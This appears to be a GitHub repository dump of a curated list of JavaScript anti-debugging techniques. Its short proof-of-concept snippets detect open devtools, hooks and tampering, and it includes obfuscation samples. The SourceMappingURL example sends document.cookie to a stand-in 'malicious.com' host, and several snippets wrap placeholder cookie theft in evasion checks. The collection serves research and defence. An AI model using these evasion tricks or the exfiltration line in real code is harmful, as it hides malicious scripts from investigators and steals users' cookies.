├── NewGenTechniques ├── ChromiumDevtoolsScopePane │ └── README.md ├── ChromiumShadowRootAbuse │ ├── README.md │ └── poc.html └── SourceMappingURL │ └── README.md ├── Obfuscation └── README.md ├── OldGenTechniques ├── ChromeGetter │ └── README.md ├── CodeIntegrity │ └── README.md ├── FlowIntegrity │ └── README.md ├── HooksDetection │ └── README.md ├── RestrictionalEnviroments │ └── README.md ├── SizeChanges │ └── README.md ├── TimeDiff │ └── README.md └── debugger; │ └── README.md └── README.md /NewGenTechniques/ChromiumDevtoolsScopePane/README.md: -------------------------------------------------------------------------------- 1 | # Chromium Devtools Scope Pane 2 | 3 | ### POC 4 | 5 | ```javascript 6 | function malicious() { 7 | const detect = (function(){ 8 | const dummy = /./; 9 | dummy.toString = () => { 10 | alert('someone is debugging the malicious function!'); 11 | return 'SOME_NAME'; 12 | }; 13 | return dummy; 14 | }()); 15 | 16 | // do a malicious action 17 | if (window.stealUserCookies) window.stealUserCookies(); 18 | } 19 | 20 | function legit() { 21 | // do a legit action 22 | return 1 + 1; 23 | } 24 | 25 | function main() { 26 | legit(); 27 | malicious(); 28 | } 29 | 30 | debugger; 31 | main(); 32 | ``` 33 | ### Resources 34 | 35 | - [Original research and fully detailed explanation](https://weizman.github.io/page-js-anti-debug-2/) [[Gal Weizman](https://weizman.github.io/)] 36 | - [Demo site](https://debug-tracker.ue.r.appspot.com/) [[Gal Weizman](https://weizman.github.io/)] 37 | -------------------------------------------------------------------------------- /NewGenTechniques/ChromiumShadowRootAbuse/README.md: -------------------------------------------------------------------------------- 1 | # Chromium Shadow Root Abuse 2 | 3 | on Chrome <= 116, click "enable poc" then open the devtools console - chrome should crash entirely (was fixed to crash tab only) 4 | 5 | ### POC 6 | 7 | ```html 8 | disable poc 9 |
10 | enable poc 11 | 23 | ``` 24 | ### Resources 25 | 26 | - [Live DEMO!](https://weizmangal.com/awesome-javascript-anti-debugging/NewGenTechniques/ChromiumShadowRootAbuse/poc.html) 27 | - [Bug report](https://bugs.chromium.org/p/chromium/issues/detail?id=1465129) 28 | -------------------------------------------------------------------------------- /NewGenTechniques/ChromiumShadowRootAbuse/poc.html: -------------------------------------------------------------------------------- 1 | disable poc 2 |
3 | enable poc 4 |

5 | on Chrome <= 116, click enable poc then open the devtools console - chrome should crash entirely (was fixed to crash tab only) 6 |

7 |

8 | Learn more at ChromiumShadowRootAbuse 9 |

10 | 22 | -------------------------------------------------------------------------------- /NewGenTechniques/SourceMappingURL/README.md: -------------------------------------------------------------------------------- 1 | # SourceMappingURL 2 | 3 | ### POC 4 | 5 | ```javascript 6 | function smap(url, data) { 7 | const script = document.createElement('script'); 8 | script.textContent = `//# SourceMappingURL=${url}?data=${JSON.stringify(data)}`; 9 | document.head.appendChild(script); 10 | script.remove(); 11 | } 12 | 13 | smap('https://malicious.com/reportStolenCookies', {cookie: document.cookie}); 14 | ``` 15 | ### Resources 16 | 17 | - [Original research and fully detailed explanation](https://weizman.github.io/page-js-anti-debug-1/) [[Gal Weizman](https://weizman.github.io/)] 18 | - [Demo site](https://us-central1-smap-251411.cloudfunctions.net/index) [[Gal Weizman](https://weizman.github.io/)] 19 | -------------------------------------------------------------------------------- /Obfuscation/README.md: -------------------------------------------------------------------------------- 1 | # Obfuscation 2 | 3 | ### About 4 | 5 | Obfuscation is just another anti debugging technique, that has so much into to it that it can be considered as a field of its own rather than "just" a technique. 6 | 7 | The idea is to take some javascript source code and mess it up as much as possible without changing its original logic whatsoever, so it would serve the same purpose as before but would be much harder to read and understand. 8 | 9 | What's usually done on the basic level is changing variables names, minifying the code, scrambling strings and so on, but javascript obfuscation can be much more than that. 10 | 11 | ### Relation to Anti Debugging 12 | 13 | Making the code as not readable as possible is a method of anti debugging of itself. 14 | Also, common obfuscators usually implement some of the old-gen anti debugging techniques that are listed in this **awesome** repo. 15 | 16 | ### Obfuscators 17 | 18 | There are many tools out there that do code obfuscation. Here are some: 19 | 20 | #### Free 21 | 22 | ```javascript 23 | // Sample javascript to obfuscate 24 | function hi() { 25 | console.log("Hello World!"); 26 | } 27 | hi(); 28 | ``` 29 | 30 | - [obfuscator.io](https://obfuscator.io/) 31 | 32 | ```javascript 33 | var _0x22e1=['log','Hello\x20World!'];(function(_0x54a82c,_0x22e133){var _0x52d59f=function(_0x37d3b5){while(--_0x37d3b5){_0x54a82c['push'](_0x54a82c['shift']());}};_0x52d59f(++_0x22e133);}(_0x22e1,0x78));var _0x52d5=function(_0x54a82c,_0x22e133){_0x54a82c=_0x54a82c-0x0;var _0x52d59f=_0x22e1[_0x54a82c];return _0x52d59f;};function hi(){var _0xf2ec74=_0x52d5;console[_0xf2ec74('0x0')](_0xf2ec74('0x1'));}hi(); 34 | ``` 35 | 36 | - [jsfuck](http://www.jsfuck.com/) 37 | 38 | ```javascript 39 | [][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]]) 40 | ``` 41 | 42 | - [javascriptobfuscator](https://javascriptobfuscator.com/Javascript-Obfuscator.aspx) 43 | 44 | ```javascript 45 | var _0xb3cd=["\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x21","\x6C\x6F\x67"];function hi(){console[_0xb3cd[1]](_0xb3cd[0])}hi() 46 | ``` 47 | 48 | #### Paid 49 | 50 | - [jscrambler](https://jscrambler.com/) 51 | 52 | ### References 53 | 54 | - [javascript obfuscators introduction](https://www.youtube.com/watch?v=4dxPizOvM8g) [by JSScrambler CTO [Pedro Fortuna](https://twitter.com/pedrofortuna)] 55 | -------------------------------------------------------------------------------- /OldGenTechniques/ChromeGetter/README.md: -------------------------------------------------------------------------------- 1 | # ChromeGetter 2 | 3 | ### POC 4 | 5 | ```javascript 6 | let div = document.createElement('div'); 7 | console.log(div); 8 | Object.defineProperty(div, "id", {get: () => { alert("Dev Tools detected!"); }}); 9 | ``` 10 | 11 | ### About 12 | 13 | The idea here is to manipulate the way Chrome devtools work to tell whether it is activated or not. 14 | When Chrome Devtools want to present info about a certain element, they usually call the element's different getters in order to obtain that info. 15 | So for example, in order to get the element's id, its getter is called by the devtools. 16 | The trick here is to console log an element that was never passed globaly under window in any way and that can only be accessed by the code that created it, meaning the only entity that can call its id getter would be the devtools itself when the element is being logged to the console. 17 | So by hooking the getter, we can write some javascript code that will only be executed when that id getter is called. 18 | And that way we'd know for certain when the devtools were activated. 19 | 20 | ### Resources 21 | 22 | - [Original explanation](https://x-c3ll.github.io/posts/javascript-antidebugging/#0x04-devtools-detection-i-chrome-getter) [[J. M. Fernández](https://x-c3ll.github.io)] 23 | -------------------------------------------------------------------------------- /OldGenTechniques/CodeIntegrity/README.md: -------------------------------------------------------------------------------- 1 | # CodeIntegrity 2 | 3 | ### POC 4 | 5 | ```javascript 6 | function hashCode (s) { 7 | var hash = 0; 8 | if (s.length == 0) { 9 | return hash; 10 | } 11 | for (var i = 0; i < s.length; i++) { 12 | var char = s.charCodeAt(i); 13 | hash = ((hash<<5)-hash)+char; 14 | hash = hash & hash; // Convert to 32bit integer 15 | } 16 | return hash; 17 | } 18 | 19 | function start() { 20 | alert('steal cookies!'); 21 | } 22 | 23 | function main() { 24 | if (hashCode(start.toString()) !== -1968638942) return; 25 | start(); 26 | } 27 | 28 | main() 29 | ``` 30 | 31 | ### About 32 | 33 | The idea here is to test the integrity of the code "on the fly" and expect the protected function's hash to not change. 34 | If it changed it means the code has changed as well, probably for research purposes, and that means the protection of the code has been compromised. 35 | 36 | ### Resources 37 | 38 | - [Original explanation](https://x-c3ll.github.io/posts/javascript-antidebugging/#0x08-implicit-control-of-code-integrity) [[J. M. Fernández](https://x-c3ll.github.io)] 39 | -------------------------------------------------------------------------------- /OldGenTechniques/FlowIntegrity/README.md: -------------------------------------------------------------------------------- 1 | # SizeChanges 2 | 3 | ### POC 4 | 5 | ```javascript 6 | function getCallStack() { 7 | var stack = "#", total = 0, fn = arguments.callee; 8 | while ( (fn = fn.caller) ) { 9 | stack = stack + "" +fn.name; 10 | total++ 11 | } 12 | return stack 13 | } 14 | function test1() { 15 | if ('#test1test2test3test4' !== getCallStack()) alert('flow of execution was tampered!') 16 | } 17 | function test2() { 18 | test1(); 19 | } 20 | function test3() { 21 | test2(); 22 | } 23 | function test4() { 24 | test3(); 25 | } 26 | test4(); 27 | ``` 28 | 29 | ### About 30 | 31 | The idea here is to test the integrity of the flow of execution "on the fly" and to pick the next behaviour based on it. 32 | Normally, if calling `getCallStack()` outputs something different than expected, it probably means someone has been playing around with the code. 33 | 34 | ### Resources 35 | 36 | - [Original explanation](https://x-c3ll.github.io/posts/javascript-antidebugging/#0x07-implicit-control-of-flow-integrity) [[J. M. Fernández](https://x-c3ll.github.io)] 37 | -------------------------------------------------------------------------------- /OldGenTechniques/HooksDetection/README.md: -------------------------------------------------------------------------------- 1 | # HooksDetection 2 | 3 | ### POC 4 | 5 | ```javascript 6 | if (document.createElement.toString() !== 'function createElement() { [native code] }') { 7 | console.log("hook detected!"); 8 | } 9 | else { 10 | alert('steal cookies!'); 11 | } 12 | ``` 13 | 14 | ### About 15 | 16 | The idea here is to tell when someone tried to place a hook on the protected code in order to investigate it, and if so to give up on running. 17 | 18 | ### Resources 19 | 20 | - [Original explanation](https://x-c3ll.github.io/posts/javascript-antidebugging/#0x0a-proxy-objects) [[J. M. Fernández](https://x-c3ll.github.io)] 21 | -------------------------------------------------------------------------------- /OldGenTechniques/RestrictionalEnviroments/README.md: -------------------------------------------------------------------------------- 1 | # RestrictionalEnviroments 2 | 3 | ### POC 4 | 5 | ```javascript 6 | if (location.hostname === "localhost" || location.hostname === "127.0.0.1" || location.hostname === "") { 7 | console.log("Don't run me here!") 8 | } 9 | try { 10 | console.log(window); 11 | } catch(e){ 12 | console.log("NodeJS detected!!!!"); 13 | } 14 | 15 | ``` 16 | 17 | ### About 18 | 19 | The idea here is to prevent execution of code on local/non-browser environments (this is less about anti debugging and more about environmental restrictions) 20 | 21 | ### Resources 22 | 23 | - [Original explanation](https://x-c3ll.github.io/posts/javascript-antidebugging/#0x0b-restrictional-enviroments) [[J. M. Fernández](https://x-c3ll.github.io)] 24 | -------------------------------------------------------------------------------- /OldGenTechniques/SizeChanges/README.md: -------------------------------------------------------------------------------- 1 | # SizeChanges 2 | 3 | ### POC 4 | 5 | ```javascript 6 | const threshold = 160; 7 | const widthThreshold = window.outerWidth - window.innerWidth > threshold; 8 | const heightThreshold = window.outerHeight - window.innerHeight > threshold; 9 | const orientation = widthThreshold ? 'vertical' : 'horizontal'; 10 | if (widthThreshold || heightThreshold) alert('devtools activated!'); 11 | ``` 12 | 13 | ### About 14 | 15 | The idea here is to tell whether the devtools are active or not by the difference between the outer width/height of the window and the inner width/height. 16 | If it is bigger than a certain threshold, it probably means that some of the window's space is taken by the devtools, meaning their open. 17 | 18 | ### Resources 19 | 20 | - [Original explanation](https://github.com/sindresorhus/devtools-detect) [[sindresorhus](https://twitter.com/sindresorhus)] 21 | - [Demo Site](https://sindresorhus.com/devtools-detect/) [[sindresorhus](https://twitter.com/sindresorhus)] 22 | -------------------------------------------------------------------------------- /OldGenTechniques/TimeDiff/README.md: -------------------------------------------------------------------------------- 1 | # TimeDiff 2 | 3 | ### POC 4 | 5 | ```javascript 6 | var startTime = performance.now(); 7 | startMaliciousCode(); 8 | var stopTime = performance.now(); 9 | if ((stopTime - startTime) > 1000) { 10 | alert("Debugger detected!") 11 | } 12 | ``` 13 | 14 | ### About 15 | 16 | The idea here is to measure time between two points in the code, preferably right before and right after the code that needs the anti debugging protection, and then based on the difference between the two tell whether the code is being debugged or not. 17 | If the difference was small enough, it means the code was executed with no interruptions. 18 | But if the difference was unrealistically big, it probably means it was interrupted, most likely by a debugger. 19 | 20 | ### Resources 21 | 22 | - [Original explanation](https://x-c3ll.github.io/posts/javascript-antidebugging/#0x03-differences-of-time) [[J. M. Fernández](https://x-c3ll.github.io)] 23 | -------------------------------------------------------------------------------- /OldGenTechniques/debugger;/README.md: -------------------------------------------------------------------------------- 1 | # debugger; 2 | 3 | ### POC 4 | 5 | ```javascript 6 | setInterval(() => {debugger;}, 100); 7 | ``` 8 | 9 | ### About 10 | 11 | The idea here is to create a state in which the code runs smoothly, but the devtools will get stuck when is activated. 12 | This can be achieved by running the POC above. 13 | `debugger;` statement is normally ignored by the browser when is interpreted, but when the devtools is activated, `debugger;` makes the devtools source code debugger to pause. 14 | Calling `debugger;` in an infinite async interval will force the devtools to pause non-stop, which would make it a bit harder for researchers to debug other pieces of code in the website using the devtools. 15 | 16 | ### Resources 17 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # [Awesome Javascript Anti Debugging](https://github.com/weizman/awesome-javascript-anti-debugging/) [![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg)](https://github.com/sindresorhus/awesome) 2 | 3 | > Curated list of Javascript Anti Debugging techniques 4 | 5 | When it comes to Web Security there is a wide range of different aspects to it. 6 | The most discussed aspect is the different types of security breaches, such as XSS, CSRF and more. 7 | 8 | Javascript Anti Debugging on the other hand is an aspect that is not disscued enough, but might have a large potential impact when it comes to attacking and defending in the web security world. 9 | 10 | *Please read the [contribution guidelines](https://github.com/qazbnm456/awesome-web-security/blob/master/CONTRIBUTING.md) of the [awesome-web-security](https://github.com/qazbnm456/awesome-web-security) repo before contributing - we follow similar guidelines here!* 11 | 12 | > _By [Gal Weizman](https://weizman.github.io/website/)_ 13 | 14 | ## ATTENTION ⚠️ 15 | 16 | YOU SHOULD PREFER THE [SERVED VERSION](https://weizmangal.com/awesome-javascript-anti-debugging/), WHERE YOU CAN ALSO INTERACT WITH LIVE DEMOS! 17 | 18 | ## Contents 19 | 20 | - [Intro](#intro) 21 | - [What Is Browser Anti Debugging?](#what-is-browser-anti-debugging) 22 | - ["New Gen" Techniques](#new-gen-technique) 23 | - [SourceMappingURL](#sourcemappingurl) 24 | - [Chromium Devtools Scope Pane](#ChromiumDevtoolsScopePane) 25 | - [ChromiumShadowRootAbuse](#ChromiumShadowRootAbuse) 26 | - ["Old Gen" Techniques](#old-gen-technique) 27 | - [TimeDiff](#time-diff) 28 | - [ChromeGetter](#chrome-getter) 29 | - [CodeIntegrity](#code-integrity) 30 | - [FlowIntegrity](#flow-integrity) 31 | - [HooksDetection](#hooks-detection) 32 | - [RestrictionalEnviroments](#restrictional-enviroments) 33 | - [SizeChanges](#size-changes) 34 | - [debugger;](#debugger) 35 | - [Obfuscation](#obfuscation) 36 | 37 | 38 | ### Intro 39 | 40 | 41 | #### What Is Browser Anti Debugging? 42 | 43 | Anti Debugging techniques allow attackers to tell whether their malicious code is being inspected or not when is executed within the browser. 44 | The idea is to use the tools given by the browser (which is simply javascript in most cases) to understand whether the website's source code is being inspected and/or debugged in any way, and to take different actions based on the result. 45 | 46 | Usually, these techniques are used by attackers to hide their malicious activity and protect their code from being uncovered. 47 | Meaning, attackers can protect their code using anti debugging techniques, that when find that the code is being inspected stop the attack instead of completing it. 48 | 49 | 50 | ### ["New Gen" Techniques](./NewGenTechniques) 51 | 52 | 53 | #### [SourceMappingURL](./NewGenTechniques/SourceMappingURL) 54 | 55 | 56 | #### [Chromium Devtools Scope Pane](./NewGenTechniques/ChromiumDevtoolsScopePane) 57 | 58 | 59 | #### [Chromium Shadow Root Abuse](./NewGenTechniques/ChromiumShadowRootAbuse) 60 | 61 | 62 | ### ["Old Gen" Techniques](./OldGenTechniques) 63 | 64 | 65 | #### [TimeDiff](./OldGenTechniques/TimeDiff) 66 | 67 | 68 | #### [ChromeGetter](./OldGenTechniques/ChromeGetter) 69 | 70 | 71 | #### [CodeIntegrity](./OldGenTechniques/CodeIntegrity) 72 | 73 | 74 | #### [FlowIntegrity](./OldGenTechniques/FlowIntegrity) 75 | 76 | 77 | #### [HooksDetection](./OldGenTechniques/HooksDetection) 78 | 79 | 80 | #### [RestrictionalEnviroments](./OldGenTechniques/RestrictionalEnviroments) 81 | 82 | 83 | #### [SizeChanges](./OldGenTechniques/SizeChanges) 84 | 85 | 86 | #### [debugger;](./OldGenTechniques/debugger;) 87 | 88 | 89 | ### [obfuscation](./Obfuscation) 90 | 91 | 92 | 93 | --------------------------------------------------------------------------------